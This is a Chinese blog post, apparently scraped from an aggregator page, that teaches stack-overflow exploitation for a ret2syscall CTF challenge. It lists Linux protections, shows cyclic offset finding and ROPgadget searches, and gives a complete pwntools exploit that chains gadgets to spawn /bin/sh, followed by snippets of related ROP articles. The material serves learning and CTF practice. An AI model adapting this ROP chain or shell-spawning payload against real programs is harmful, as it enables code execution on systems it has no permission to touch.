代码编织梦想

安全机制

ASLR(地址随机化)
PIE(加强版ASLR)
NX(数据段不可执行) ROP 系统调用
stack canary(栈溢出 写入校验值 ) stack smash 内存泄漏
RELRO got表

延迟绑定
plt 汇编代码 把真实地址放入got
got 表单 跳转到libc.so
利用方法:

  1. 劫持eip,改为system plt
  2. 任意地址写got表,改为system真实地址,相当于调用call system(Got表劫持)
  3. 泄露,如泄露got表,里面有printf地址,进而计算出libc地址,system

1

文件信息

1

安全方式

1

查看源码

1

确定偏移

cyclic 200
r
$cyclic -l caab
108
# 查找可存储寄存器的代码
ROPgadget --binary ret2syscall --only "pop|ret"|grep "eax"
ROPgadget --binary ret2syscall --only "pop|ret"|grep "ebx"

# 查找有int 0x80的地址
ROPgadget --binary ret2syscall --only "int"

# 查找字符串
ROPgadget --binary ret2syscall --string "/bin/sh"

1
2
1

1

exp

#!/usr/bin/env python
from pwn import *

sh = process('./ret2syscall')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
pause()
payload = "a"*112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
sh.sendline(payload)
sh.interactive()

1

1

1

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/lilongsy/article/details/108557159

Linux系统和程序中的DEP和ASLR保护机制-爱代码爱编程

2014年,OpenSSL加密库中的一个缓冲区溢出漏洞被公开。该缺陷被称为“心脏出血”。它使受欢迎的在线服务和软件平台的数亿用户暴露于易受攻击的OpenSSL软件版本中。于是操作系统提供了许多安全机制来尝试降低或阻止缓冲区溢出攻击带来的安全风险,包括DEP(Linux下对应NX)、ASLR(Linux下对应PIE)等。我们先从什么是缓冲区溢出开始。 什么

watevr_2019_5x5_lightsout-爱代码爱编程

watevr_2019_5x5_lightsout 根据这里的越界异或,将返回地址改为one_gadget。其中注意到能够异或的值是有限定的,可以异或(7 << (i - 1))的值,如下 00000011 00000111 00001110 00011100 00111000 01110000 11100000 11000000 10

X-nuca_2018_revenge(控制程序流程的新姿势+多字节的xchg指令会清零寄存器高位)-爱代码爱编程

X-nuca_2018_revenge(多字节的xchg指令会清零寄存器高位) 首先,检查一下程序的保护机制 然后,我们用IDA分析一下,bss上存在无限溢出 由于该程序是静态编译,我们可以覆盖到下方某些函数指针,我们可以将__printf_arginfo_table虚表指针覆盖,指向我们可控的地方。 这样printf调用时,就调用相应

ByteCTF 2020 pwnandroid-爱代码爱编程

pwndroid 一个安卓端程序,native层是简单的菜单程序,其中edit功能没有检查长度,可以溢出,并且没有使用\0截断字符串,在show的时候可以泄露后续的数据 难点在于如何进行交互,程序注册了JSBridge用于与js进行交互,其中该接口对象在js中的对象名为_jsbridge 该对象有一个call函数 因此,在javascr

多图详解缓冲区溢出问题-爱代码爱编程

文章目录 1. 蠕虫病毒简介2. 缓冲区溢出3. 缓冲区溢出举例4. 缓冲区溢出的危害5. 内存在计算机中的排布方式6. 计算机中越界访问的后果7. 避免缓冲区溢出的三种方法7.1 栈随机化7.2 检测栈是否被破坏7.3 限制可执行代码区域8. 总结 蠕虫病毒是一种常见的利用Unix系统中的缺点来进行攻击的病毒。缓冲区溢出一个常见的后果是

[Kali]--栈缓冲区溢出-爱代码爱编程

栈缓冲区溢出 内存数据分布图 Text:包含程序代码Data:包含全局变量,静态变量,该段的大小在编译时计算堆:存储动态变量,new动作会在堆上分配内存栈:保存函数参数,局部变量,函数调用时栈空间消耗就会变大。堆栈内存是运行时实时分配的 CPU通用寄存器 EIP:指令指针ESP:栈指针(栈顶)EBP:基指针(栈底)ESI:源变址寄存器EDI:目标变

适合初学者的ROP攻击入门教程 - [Pwn] ROP Emporium Guide-爱代码爱编程

ROP Emporium ROP Emporium 是一个ROP攻击入门教学网站,提供了一系列的挑战任务,这些挑战对逆向工程或debug的要求不高,因此对初学者十分友好,适合初学者了解ROP攻击。网站中共有8个挑战任务,每个挑战都引入了一个新概念/知识点,其复杂性和难度逐渐增加,循序渐进,而且每个挑战都有32/64位两个版本的程序,适合初学者了解二者之间

【翻译】粉碎Gadgets:使用就地代码随机化防御面向返回的编程——Smashing the Gadgets: Hindering Return-Oriented Programming...-爱代码爱编程

粉碎Gadgets:使用就地代码随机化防御面向返回的编程 【文章为google-translate的直译结果,最近暂时没有时间修改翻译内容。google-translate的翻译结果中有很多明显的错误,遇到类似的问题,请读者结合英文仔细揣摩。】 Abstract—The wide adoption of non-executable page prot

【翻译】Marlin:一种新的随机方法来防御ROP攻击——Marlin: A fine grained randomization approach to defend against ROP-爱代码爱编程

Marlin:一种新的随机方法来防御ROP攻击 【文章为google-translate的直译结果,最近暂时没有时间修改翻译内容。google-translate的翻译结果中有很多明显的错误,遇到类似的问题,请读者结合英文仔细揣摩。】 Abstract: 摘要 Code-reuse attacks, such as return-oriented

ROP(Return Oriented Programming)原理解析-爱代码爱编程

先看一个代码: #include <stdio.h> #include <stdlib.h> // 下面的dummy_libc_part1和dummy_libc_part2假设是GLIBC库里的任意两段函数 void dummy_libc_part1() { // ... 这里可能会有别的指令 __asm("mov 0(%r

蒸米ROP学习记录-爱代码爱编程

参考链接 语雀的一个大佬的记录:https://www.yuque.com/hxfqg9/bin/zzg02e阿里聚安全写的蒸米rop记录:https://segmentfault.com/a/1190000007406442一步一步学ROP(x86):http://www.vuln.cn/6645一步一步学ROP(x64):http://www

ROP gadget的一些遇到的问题和思考-爱代码爱编程

发个好久之前写的把。(现在一看那时候可真呆,滑稽.jpg) 今天总算搞明白了之前没懂的疑问 看过64位的rop应该知道一般的rop都会调用下面的gadgets 因为正常编译出来的都会有这两个函数 正常的思路都是利用puts函数和write函数来泄露别的函数的真实地址,然后去连libc 当利用write函数做泄露的时候因为要传3个参数,所以肯定会用到这一整